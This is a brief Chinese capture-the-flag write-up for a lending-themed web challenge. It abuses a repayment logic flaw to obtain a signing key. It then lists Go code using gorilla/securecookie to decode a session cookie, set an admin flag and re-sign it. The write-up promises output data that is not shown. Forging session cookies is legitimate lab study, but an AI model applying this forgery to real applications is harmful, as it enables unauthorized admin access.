主页并没有啥东西。
一个借进来。一个借出去
但是。借进来没任何限制。。借出去有限制
点击兑换礼物。并不行。。限制有未还款
然后等一会。。它的账单就会清空。。。但是卡片不会
此时兑换。得到一个key
访问/flag。不行。提示您不是幸运玩家
并且。我们还没用到这个key
然后google搜go cookie securitykey github
得到这个库https://github.com/gorilla/securecookie
根据里面的实例。我们写一个解析cookie的代码
package main
//导入包
import (
"fmt"
"github.com/gorilla/securecookie"
)
//定义secret
var (
hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
init = securecookie.New(hashKey, nil)
cookie = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj"
)
func main() {
var values map[interface{}]interface{}
//这里定义数据类型。就是你cookie解析后得到数据的类型。
//https://blog.csdn.net/houyanhua1/article/details/88712058。
//这篇文章中说了。可以用空接口存储任意数据
if err := init.Decode("session",cookie, &values); err == nil {
//解析cookie。放到values里
fmt.Print(values)
values["admin"] = true
//将admin属性设置为True
fmt.Print(init.Encode("session", values))
//加密输出
}
}
数据如下
替换cookie访问flag就行